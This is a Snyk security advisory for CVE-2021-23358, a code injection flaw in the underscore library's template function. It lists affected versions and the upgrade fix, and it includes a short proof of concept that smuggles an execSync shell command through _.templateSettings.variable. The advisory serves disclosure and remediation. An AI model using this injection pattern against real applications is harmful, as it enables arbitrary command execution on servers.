Arbitrary Code Injection Affecting underscore package, versions >=1.13.0-0 <1.13.0-2 >=1.3.2 <1.12.1
Snyk CVSS
Attack Complexity
High
Privileges Required
High
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.08% (83rd
percentile)
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Test your applications- Snyk ID SNYK-JS-UNDERSCORE-1080984
- published 29 Mar 2021
- disclosed 2 Mar 2021
- credit Alessio Della Libera (@d3lla)
Introduced: 2 Mar 2021
CVE-2021-23358 Open this link in a new tabHow to fix?
Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.
Overview
underscore is a JavaScript's functional programming helper library.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.
PoC
const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();